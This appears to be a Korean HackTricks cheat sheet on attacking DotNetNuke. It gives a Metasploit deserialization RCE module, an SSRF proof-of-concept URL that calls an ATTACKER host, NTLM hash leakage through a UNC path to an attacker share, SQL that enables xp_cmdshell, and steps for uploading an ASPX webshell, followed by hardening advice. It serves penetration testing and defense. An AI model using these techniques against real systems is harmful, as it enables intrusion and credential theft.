DotNetNuke (DNN)
Reading time: 4 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
DotNetNuke (DNN)
DNN에 관리자로 로그인하면 RCE를 얻는 것이 쉽지만, 최근 몇 년 동안 여러 비인증 및 인증 후 기술이 발표되었습니다. 다음 치트 시트는 공격 및 방어 작업 모두에 유용한 기본 요소를 수집합니다.
버전 및 환경 열거
- X-DNN HTTP 응답 헤더를 확인하세요 – 일반적으로 정확한 플랫폼 버전을 공개합니다.
- 설치 마법사는
/Install/Install.aspx?mode=install
에서 버전을 유출합니다 (매우 오래된 설치에서 접근 가능). /API/PersonaBar/GetStatus
(9.x)는 낮은 권한 사용자에 대해"dnnVersion"
을 포함하는 JSON 블롭을 반환합니다.- 라이브 인스턴스에서 볼 수 있는 일반적인 쿠키:
.DOTNETNUKE
– ASP.NET 폼 인증 티켓.DNNPersonalization
– XML/직렬화된 사용자 프로필 데이터가 포함되어 있습니다 (구버전 – 아래 RCE 참조).
비인증 취약점 이용
1. 쿠키 역직렬화 RCE (CVE-2017-9822 및 후속)
영향을 받는 버전 ≤ 9.3.0-RC
DNNPersonalization
은 내장된 404 핸들러가 활성화된 모든 요청에서 역직렬화됩니다. 따라서 조작된 XML은 임의의 가젯 체인 및 코드 실행으로 이어질 수 있습니다.
msf> use exploit/windows/http/dnn_cookie_deserialization_rce
msf> set RHOSTS <target>
msf> set LHOST <attacker_ip>
msf> run
모듈은 패치되었지만 여전히 취약한 버전(CVE-2018-15811/15812/18325/18326)에 대해 올바른 경로를 자동으로 선택합니다. 7.x–9.1.x에서는 인증 없이 공격이 가능하며, 9.2.x+에서는 검증된 저권한 계정으로 가능합니다.
2. 서버 측 요청 위조 (CVE-2025-32372)
영향을 받는 버전 < 9.13.8 – 패치가 2025년 4월에 출시됨
구버전 DnnImageHandler
수정의 우회를 통해 공격자가 서버에 임의의 GET 요청을 하도록 강제할 수 있습니다(반-블라인드 SSRF). 실제 영향:
- 클라우드 배포에서 내부 포트 스캔 / 메타데이터 서비스 검색.
- 인터넷에서 방화벽으로 차단된 호스트에 접근.
개념 증명(대체 TARGET
& ATTACKER
):
https://TARGET/API/RemoteContentProxy?url=http://ATTACKER:8080/poc
요청은 백그라운드에서 트리거됩니다; 콜백을 위해 리스너를 모니터링하세요.
3. NTLM 해시 노출 via UNC 리디렉션 (CVE-2025-52488)
영향을 받는 버전 6.0.0 – 9.x (< 10.0.1)
특별히 조작된 콘텐츠는 DNN이 \\attacker\share\img.png
와 같은 UNC 경로를 사용하여 리소스를 가져오도록 시도하게 만들 수 있습니다. Windows는 NTLM 협상을 기꺼이 수행하며, 서버 계정 해시를 공격자에게 유출합니다. 10.0.1로 업그레이드하거나 방화벽에서 아웃바운드 SMB를 비활성화하세요.
4. IP 필터 우회 (CVE-2025-52487)
관리자가 관리 포털 보호를 위해 Host/IP 필터에 의존하는 경우, 10.0.1 이전 버전은 리버스 프록시 시나리오에서 X-Forwarded-For
를 조작하여 우회될 수 있음을 유의하세요.
인증 후 RCE
SQL 콘솔을 통한
Settings → SQL
아래에 내장된 쿼리 창이 사이트 데이터베이스에 대한 실행을 허용합니다. Microsoft SQL Server에서 **xp_cmdshell
**을 활성화하고 명령을 생성할 수 있습니다:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
GO
xp_cmdshell 'whoami';
ASPX 웹쉘 업로드 방법
- **
Settings → Security → More → More Security Settings
**로 이동합니다. - Allowable File Extensions에
aspx
(또는asp
)를 추가하고 저장합니다. - **
/admin/file-management
**로 이동하여shell.aspx
를 업로드합니다. - **
/Portals/0/shell.aspx
**에서 이를 트리거합니다.
Windows에서의 권한 상승
**IIS AppPool<Site>**로 코드 실행이 이루어지면, 일반적인 Windows 권한 상승 기술이 적용됩니다. 만약 시스템이 취약하다면 다음을 활용할 수 있습니다:
- PrintSpoofer / SpoolFool를 사용하여 SeImpersonatePrivilege를 악용합니다.
- Juicy/Sharp Potatoes를 사용하여 Service Accounts에서 탈출합니다.
강화 권장 사항 (블루 팀)
- 9.13.9 이상으로 업그레이드합니다 (SSRF 우회 수정) 또는 바람직하게는 10.0.1 (IP 필터 및 NTLM 문제).
- 설치 후 잔여
InstallWizard.aspx*
파일을 제거합니다. - 아웃바운드 SMB (포트 445/139) 이탈을 비활성화합니다.
- DNN 내에서가 아니라 엣지 프록시에서 강력한 Host Filters를 시행합니다.
- 사용하지 않는 경우
/API/RemoteContentProxy
에 대한 접근을 차단합니다.
참조
- Metasploit
dnn_cookie_deserialization_rce
모듈 문서 – 실용적인 인증되지 않은 RCE 세부정보 (GitHub). - GitHub 보안 자문 GHSA-3f7v-qx94-666m – 2025 SSRF 우회 및 패치 정보.
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.